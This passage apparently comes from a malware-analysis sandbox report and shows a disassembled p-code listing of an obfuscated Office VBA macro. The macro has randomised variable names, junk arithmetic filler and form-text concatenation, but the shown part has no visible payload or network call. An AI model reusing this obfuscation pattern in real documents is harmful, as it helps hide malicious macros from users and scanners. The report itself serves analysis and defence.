' 	ArgsLd Log 0x0001 
' 	Sub 
' 	LitDI4 0xF28C 0x08D3 
' 	LitDI4 0xC5DB 0x0AD6 
' 	LitDI4 0x8C23 0x13A8 
' 	Div 
' 	LitDI4 0x6514 0x2E06 
' 	LitDI4 0xB746 0x1163 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld j1UwxA4 
' 	Ld HAAXAB 
' 	LitDI4 0x7BD2 0x1975 
' 	ArgsLd Tan 0x0001 
' 	Ld wQBkAAA 
' 	Div 
' 	LitDI4 0x5CB2 0x133B 
' 	Mul 
' 	Add 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	St UB_AAAAU 
' Line #40:
' 	EndIfBlock 
' Line #41:
' 	LitDI4 0xCD8E 0x0006 
' 	LitDI4 0xCD8E 0x0006 
' 	Eq 
' 	IfBlock 
' Line #42:
' 	Ld IBCQxwwA 
' 	Ld mXAAAA 
' 	Eq 
' 	IfBlock 
' Line #43:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld TAAABGB4 
' 	LitDI4 0x01FA 0x1164 
' 	Coerce (Date) 
' 	Ld NZDA1AGB 
' 	Div 
' 	Sub 
' 	Ld dAAAZQ 
' 	LitDI4 0x32AD 0x2547 
' 	Coerce (Byte) 
' 	Add 
' 	Ld HoBDCA4_ 
' 	LitDI4 0xF1D3 0x048B 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	Sub 
' 	FnFix 
' 	Sub 
' 	LitDI4 0xBE4A 0x259E 
' 	LitDI4 0x8BC2 0x06DD 
' 	LitDI4 0xC316 0x1CFE 
' 	Div 
' 	LitDI4 0xC392 0x0648 
' 	LitDI4 0xDF2D 0x1EB6 
' 	Coerce (Lng) 
' 	Mul 
' 	Add 
' 	FnSgn 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld uQQDQCCA 
' 	Ld KAAkAZwA 
' 	LitDI4 0x355F 0x39F1 
' 	ArgsLd Oct 0x0001 
' 	Ld DGABGQ 
' 	Div 
' 	LitDI4 0x2479 0x2641 
' 	Mul 
' 	Add 
' 	Coerce (Byte) 
' 	Div 
' 	Add 
' 	St sAAAUw 
' Line #44:
' 	EndIfBlock 
' Line #45:
' 	Ld XABAwAc_ 
' 	Ld ooAB4AZ 
' 	Eq 
' 	IfBlock 
' Line #46:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld wGDkZA 
' 	LitDI4 0x1E40 0x152E 
' 	ArgsLd Log 0x0001 
' 	Ld GckBAXAD 
' 	Div 
' 	Sub 
' 	Ld hwwAAB 
' 	LitDI4 0x472E 0x0FB8 
' 	Coerce (Lng) 
' 	Add 
' 	Ld bAkUDGUQ 
' 	LitDI4 0xC077 0x06FD 
' 	ArgsLd Oct 0x0001 
' 	Mul 
' 	Sub 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI4 0xD0D2 0x17E7 
' 	LitDI4 0xE109 0x1FEA 
' 	LitDI4 0xD7FA 0x0D23 
' 	Div 
' 	LitDI4 0xB35F 0x0070 
' 	LitDI4 0xAC73 0x2CC1 
' 	FnFix 
' 	Mul 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld s_ADUA 
' 	Ld kA1D14Bc 
' 	LitDI4 0xE7FB 0x2314 
' 	ArgsLd Cos 0x0001 
' 	Ld zBQDQAQ 
' 	Div 
' 	LitDI4 0x8E71 0x3635 
' 	Mul 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	Add 
' 	St m_ZBoA 
' Line #47:
' 	EndIfBlock 
' Line #48:
' 	Ld PAcAAA 
' 	Ld lZC4A41U 
' 	Eq 
' 	IfBlock 
' Line #49:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld mAAZ1Z 
' 	LitDI4 0xE280 0x01E3 
' 	Coerce (Byte) 
' 	Ld f1XACZ 
' 	Div 
' 	Sub 
' 	Ld iAAkkk 
' 	LitDI4 0xB802 0x2D35 
' 	ArgsLd Cos 0x0001 
' 	Add 
' 	Ld LZCDBQc 
' 	LitDI4 0x08E9 0x14D5 
' 	Coerce (Int) 
' 	Mul 
' 	Sub 
' 	FnFix 
' 	Sub 
' 	LitDI4 0xB499 0x0DFC 
' 	LitDI4 0x04E8 0x056F 
' 	LitDI4 0x6A0B 0x25D7 
' 	Div 
' 	LitDI4 0x3296 0x3419 
' 	LitDI4 0x0E76 0x375C 
' 	Coerce (Sng) 
' 	Mul 
' 	Add 
' 	FnSgn 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld ikUBGDXA 
' 	Ld CDABkQ 
' 	LitDI4 0x009D 0x1AA1 
' 	ArgsLd Hex 0x0001 
' 	Ld sCQ1_A 
' 	Div 
' 	LitDI4 0xE637 0x3175 
' 	Mul 
' 	Add 
' 	ArgsLd Atn 0x0001 
' 	Div 
' 	Add 
' 	St IB1UQQ_ 
' Line #50:
' 	EndIfBlock 
' Line #51:
' 	LineCont 0x0004 01 00 00 00
' 	Ld ShOwWiNdOw 
' 	Ld Z4BU4D4 
' 	MemLd XAkUZAAA 
' 	MemLd Text 
' 	Add 
' 	Ld nCUABAG 
' 	Add 
' 	Ld MBAAAAA 
' 	MemSt WxA4A1c 
' Line #52:
' 	Ld AooC1B 
' 	Ld tA_AAk 
' 	Eq 
' 	IfBlock 
' Line #53:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld IAxAQc 
' 	LitDI4 0x61A8 0x2F7F 
' 	ArgsLd Tan 0x0001 
' 	Ld wZ_GBoA 
' 	Div 
' 	Sub 
' 	Ld zUAAAw 
' 	LitDI4 0x4930 0x0184 
' 	FnSgn 
' 	Add 
…

Open this report in the interactive analyzer, or submit your own file for analysis.